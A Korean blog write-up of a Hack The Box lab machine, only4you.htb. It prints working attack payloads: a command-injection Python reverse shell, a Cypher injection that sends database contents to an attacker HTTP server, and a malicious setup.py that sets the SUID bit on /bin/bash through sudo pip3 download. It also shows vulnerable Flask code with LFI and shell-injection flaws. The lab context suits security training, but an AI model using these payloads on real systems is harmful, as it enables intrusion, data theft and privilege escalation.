첫번째 미디움 난이도 머신이다.

머신을 Spawn하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.

naabu -host 10.10.11.210 -p - --nmap-cli "nmap -sV"

대상 호스트에는 22/tcp, 80,tcp가 오픈되어있으며 웹 서비스에 접근하여 확인된 도메인은 only4you.htb이다.

웹서비스에서 지원하는 기능들을 확인하면서 유일하게 사용자로부터 값을 입력받는 폼은 아래와같이 Contact 페이지였으며 Request 시 인증 에러를 받는다.

디렉터리 탐색을 해봤으나 건질만한 정보는 없었고 vhost를 스캔해보니 beta.only4you.htb 도메인을 확인할 수 있었다.

해당 도메인에 접근해보니 베타 사이트로 소스코드를 공개하여 다운로드할 수 있는 기능이 존재했고, 이미지 변환 기능을 제공하는 페이지도 발견됐다.

소스코드를 확인하기전에 혹시 최근에 공개된 ImageMagick Arbitrary Local File Read (CVE-2022-44268) 일것이라고 추측되어 공개된 소스코드에서 관련된 내용을 찾아보려했으나 python 기반의 flask를 사용하고 이미지 관련된 라이브러리는 pillow를 사용중이였다.

# beta/tool.py
from flask import send_file, current_app
import os
from PIL import Image
from pathlib import Path

def convertjp(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.png'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def convertpj(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.jpg'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def resizeimg(image):
    imgpath = os.path.join(current_app.config['RESIZE_FOLDER'], image)
    sizes = [(100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700)][::-1]
    img = Image.open(imgpath)
    sizeimg = img.size
    imgsize = []
    imgsize.append(sizeimg)
    for x,y in sizes:
        for a,b in imgsize:
            if a < x or b < y:
                [f.unlink() for f in Path(current_app.config['LIST_FOLDER']).glob("*") if f.is_file()]
                [f.unlink() for f in Path(current_app.config['RESIZE_FOLDER']).glob("*") if f.is_file()]
                return False
            else:
                img.thumbnail((x, y))
                if os.path.splitext(image)[1] == '.png':
                    pngfile = str(x) + 'x' + str(y) + '.png'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + pngfile)
                else:
                    jpgfile = str(x) + 'x' + str(y) + '.jpg'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + jpgfile)
    return True

코드를 확인하여 라우팅중인 /download URI의 매핑된 함수를 확인해보았으며 Directory Traversal에 대한 대응으로 ..../을 필터링했지만 단순하게 /etc/passwd와 같이 절대경로를 전달하면 LFI 공격이 가능했다.

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

긴 탐색 끝에 /etc/nginx/nginx.conf에 정의된 로그 경로를 파악할 수 있었으며 error.log에서 웹루트 경로를 파악할 수 있었다.

http {
	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;
}

확인된 경로는 only4you.htb의 웹루트로 확인됐으며 vhost로 동작중인 beta 서비스는 비슷한 형태로 /var/www/beta.only4you.htb으로 예상되어 다운로드한 소스코드의 메인 파일인 app.py를 다운로드 시도하여 vhost의 웹루트 디렉터리도 파악할 수 있었다.

결과적으로 beta 서비스의 소스코드는 실제 운영중인 코드와 차이가 없었으며, 메인 서비스의 프레임워크도 python의 flask를 사용할 것으로 예상되어 /var/www/only4you.htb/app.py 파일을 다운로드가 가능했다.

라우팅되는 경로는 / 하나며 HTTP ReQuest Method가 POST일 경우 이전에 확인한 contact의 기능을 하는것으로 추정된다.

app.py의 코드에서 form.py의 sendmessage 함수를 import해서 사용하는것을 파악하였으며 해당 파일도 다운로드하여 코드 확인이 가능했다.

중요한 부분은 sendmessage 함수에서 호출되는 issecure이다. 이메일에 대한 검증을 진행하면서 전달받은 이메일의 도메인을 dig를 통해 확인한다.

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

이과정에서 Command Injection이 가능할 것으로 추정되어 ping 테스트를 진행했다.

POST / HTTP/1.1
Host: only4you.htb
Content-Length: 57
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://only4you.htb/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

name=test&email=test%40mail.com;ping -c 3 10.10.14.10&subject=test&message=test

도메인 끝에 삽입한 ; ping -c 3 공격자IP명령이 실행되어 공격자 PC로 icmp echo request를 확인할 수 있다.

Command Injection이 정상적으로 동작하는것을 확인했으니, 리버스 커넥션을 맺는 코드를 삽입하여 전달하여 쉘을 획득할 수 있었다.

name=test&email=test%40mail.com;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("공격자IP",공격자PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'&subject=test&message=test

여러가지 탐색을 시도하였으나 일반 유저로 전환할 수 있는 정보는 없는것으로 확인됐으며, 로컬 서비스로 동작중인 포트들이 확인됐다.

위에서 확인한 포트중 로컬에서 동작하는 3000/tcp, 8001/tcp, 3306/tcp, 33060/tcp, 7474/tcp, 7687/tcp에 대한 접근을 위해 Sock5 Proxy를 열어 공격자 PC에서 접근할 수 있도록 설정해보도록 하겠다.

Sock5 Proxy를 열기위해서 frp를 사용할 수 있지만 오늘은 sliver를 통해 c2를 열어 implant를 생성하고 세션을 맺어 sliver의 sock5 기능을 사용해보도록하겠다.

sliver-server를 실행하고 mtls 리스너(8888/tcp)를 등록한다.

이후 공격대상에 세션을 맺기위해 implant를 제작하여 생성된 implant를 서버에 전달하여 실행 시켜 세션을 맺고 해당 세션에서 sock5를 실행한다.

이후 FireFox 확장 프로그램인 FoxyProxy에서 sock5 프록시를 127.0.0.1:1081로 지정하여 프록시를 설정하면 공격자 PC에서 위 포트들 중 웹서비스인 포트들은 접속이 가능하다.

3000/TCP = Gogs
3306/TCP = MySQL
7474/TCP = Neo4j WebApp
7687/TCP = Neo4j
8001/TCP = only4you 로그인 페이지

약간의 탐색 과정에서 only4you 로그인 페이지(8001/tcp)에서 admin:admin 계정으로 로그인 가능했다.

몇차례 확인과정에서 직원 검색 부분에서 Cypher Injection이 가능한것을 확인했다. 말이 저렇지 일반적인 SQLi와 비슷(?)하다.

참고 : Cypher Injection (neo4j)

결과적으로 삽입된 Cypher의 결과를 특정 HTTP 서버의 파라미터로 담아 전달하여 내부 정보를 확인할 수 있다.

정말 오랜 삽질끝에 아래와 같은 요청으로 공격자 서버에 아래 이미지와같은 HTTP Request를 받을 수 있었다.

test' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.14.10:9999/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

password로 전달받은 값들이 md5 hash로 보여 간단한 패스워드일 경우 크랙이 가능할것이라 예상되어 crackstation을 통해 패스워드를 입력해보았고, 결과는 다음과 같다.

이렇게 john 계정의 패스워드를 획득했기에 ssh로 john 계정을 통해 쉘에 접근하려했으나 패스워드가 틀렸다... 그래서 위에서 확인한 admin 계정의 패스워드 md5 hash도 crackstation을 통해 복호화했고 다음과 같은 결과를 얻을 수 있었다.

결과적으로 크랙된 패스워드를 통해 다시 john 계정에 로그인 시도했고 성공적으로 ssh 쉘을 얻을 수 있었다.

로그인 이후 바로 sudo 권한을 확인하니 위에서 확인된 3000/tcp(Gogs)에서 tar.gz파일을 pip3를 통해 다운로드 할 수 있는 권한이 존재했다.

Matching Defaults entries for john on only4you:                                                                                                             
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                                       
                                                                                                                                                            
User john may run the following commands on only4you:                                                                                                       
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

로컬에서 서비스중인 3000/tcp는 gogs 서비스로 sock5 프록시를 통해 연결되어있어 공격자 PC에서 직접 접근이 가능하며 gogs의 계정정보는 Cypher Injection을 통해확인된 john의 계정정보로 접근이 가능했다.

sudo 권한을 해석하면 gogs에 업로드된 모든 레포지토리의 tar.gz 파일로된 pip 패키지를 다운로드할 수 있다.

이를 이용해서 gogs에 악성 python 패키지를 업로드하여 pip3 download 시 악성 코드가 실행될 수 있도록 유도할 수 있다.

참고
Automatic Execution of Code Upon Package Download on Python Package Manager
Malicious Python Packages and Code Execution via pip download

악의적인 파이썬 패키지를 위한 데모인 this_is_fine_wuzzi를 다운로드하고 setup.pyRunCommand 함수를 다음과 같이 수정한다.

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    print("Hello, p0wnd!")
    os.system("chmod +s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

이제 패키지를 빌드한다. (빌드를위해 setuptools, build 패키지가 설치되어있어야한다.)

pip3 install setuptools build
python3 -m build

빌드가 성공적으로 완료되면 해당 디렉터리에 dist 디렉터리가 생성되며 .whl 파일과 .tar.gz 파일이 생성된 것을 확인할 수 있다.

├── dist
│   ├── this_is_fine_wuzzi-0.0.1-py3-none-any.whl
│   └── this_is_fine_wuzzi-0.0.1.tar.gz
├── LICENSE
├── README.md
├── setup.py
├── src
│   └── this_is_fine_wuzzi
│       ├── __init__.py
│       └── main.py
└── this_is_fine_wuzzi.egg-info
    ├── dependency_links.txt
    ├── PKG-INFO
    ├── SOURCES.txt
    └── top_level.txt

4 directories, 11 files

이후 gogs에 john 계정을 통해 새로운 레포지토리를 생성하여 해당 레포지토리에 빌드된 this_is_fine_wuzzi-0.0.1.tar.gz를 push할 수 있지만 번거로우니 기존에 생성되어있는 빈 레포지토리인 Test 레포지토리에 업로드를 진행했다. (Test 레포지토리는 Private로 설정되어있어 해당 옵션을 해제해주고 진행한다)

모든 준비가 완료됐다. sudo 명령을 통해 업로드된 tar.gz 파이썬 패키지를 다운로드 받는다. 해당 과정에서 root 권한으로 setup.py가 실행되며 RunCommand 함수가 호출되어 /bin/bash의 권한을 변경하여 권한 상승이 가능해진다.

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글